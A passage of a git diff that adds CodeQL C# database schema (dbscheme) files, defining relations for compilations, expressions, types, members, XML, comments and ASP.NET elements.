121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +| 130 = @with_expr +/* C# 11.0 */ +| 131 = @list_pattern_expr +| 132 = @slice_pattern_expr +| 133 = @urshift_expr +| 134 = @assign_urshift_expr +| 135 = @utf8_string_literal_expr +/* C# 12.0 */ +| 136 = @collection_expr +| 137 = @spread_element_expr +| 138 = @interpolated_string_insert_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@string_literal_expr = @utf16_string_literal_expr | @utf8_string_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_call_expr = @assign_arith_expr | @assign_bitwise_expr +@assign_op_expr = @assign_op_call_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@add_operation = @add_expr | @assign_add_expr; +@sub_operation = @sub_expr | @assign_sub_expr; +@mul_operation = @mul_expr | @assign_mul_expr; +@div_operation = @div_expr | @assign_div_expr; +@rem_operation = @rem_expr | @assign_rem_expr; +@and_operation = @bit_and_expr | @assign_and_expr; +@xor_operation = @bit_xor_expr | @assign_xor_expr; +@or_operation = @bit_or_expr | @assign_or_expr; +@lshift_operation = @lshift_expr | @assign_lshift_expr; +@rshift_operation = @rshift_expr | @assign_rshift_expr; +@urshift_operation = @urshift_expr | @assign_urshift_expr; +@null_coalescing_operation = @null_coalescing_expr | @assign_coalesce_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @assign_expr | @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@op_invoke_expr = @operator_invocation_expr | @assign_op_call_expr +@call = @method_invocation_expr | @constructor_init_expr | @op_invoke_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @op_invoke_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr + | @assign_op_call_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +lambda_expr_return_type( + unique int id: @lambda_expr ref, + int type_id: @type_or_ref ref); + +/* Compiler generated */ + +compiler_generated(unique int id: @element ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr | @parameter; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); diff --git a/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/semmlecode.csharp.dbscheme b/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..d13c4c187d7 --- /dev/null +++ b/csharp/ql/lib/upgrades/3cabc77473cbbda95edebafea345c2e3fdfa12d9/semmlecode.csharp.dbscheme @@ -0,0 +1,1511 @@ +/* This is a dummy line to alter the dbscheme, so we can make a database upgrade + * without actually changing any of the dbscheme predicates. It contains a date + * to allow for such updates in the future as well. + * + * 2021-07-14 + * + * DO NOT remove this comment carelessly, since it can revert the dbscheme back to a + * previously seen state (matching a previously seen SHA), which would make the upgrade + * mechanism not work properly. + */ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +compilation_info( + int id : @compilation ref, + string info_key: string ref, + string info_value: string ref +) + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | f1.cs + * 3 | f2.cs + * 4 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile.rsp` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +// Populated by the CSV extractor +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * Overlay support + */ + +/** + * The CLI will automatically emit the tuple `databaseMetadata("isOverlay", "true")`, + * along with an `overlayChangedFiles` tuple for each new/modified/deleted file, + * when building an overlay database, and these can be used by the discard predicates. + */ +databaseMetadata( + string metadataKey : string ref, + string value : string ref +); + +overlayChangedFiles( + string path : string ref +); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @externalDataElement + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function | @lambda_expr; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +@locatable = @declaration_with_accessors | @callable_accessor | @declaration_or_directive + | @diagnostic | @extractor_message | @preprocessor_directive | @attribute | @type_mention | @type_parameter_constraints + | @declaration_with_accessors | @callable_accessor | @operator | @method + | @constructor | @destructor | @field | @local_variable | @parameter | @stmt | @expr + | @xmllocatable | @commentline | @commentblock | @asp_element + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +files( + unique int id: @file, + string name: string ref); + +folders( + unique int id: @folder, + string name: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_global( + unique int id: @using_directive ref +); + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric, 3: span */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref); + +directive_line_offset( + unique int id: @directive_line ref, + int offset: int ref); + +directive_line_span( + unique int id: @directive_line ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type +| 34 = @inline_array_type +| 35 = @extension_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type | @void_type | @inline_array_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type | @extension_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extension_receiver_type( + unique int extension: @extension_type ref, + int receiver_type_id: @type_or_ref ref); + +extend( + int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int kind: int ref, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +case @attribute.kind of + 0 = @attribute_default +| 1 = @attribute_return +| 2 = @attribute_assembly +| 3 = @attribute_module +; + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event | @operator; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type | @extension_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, params/array = 3, this = 4, in = 5, ref readonly = 6 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +@has_scoped_annotation = @local_scope_variable + +scoped_annotation( + int id: @has_scoped_annotation ref, + int kind: int ref // scoped ref = 1, scoped value = 2 + ); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = 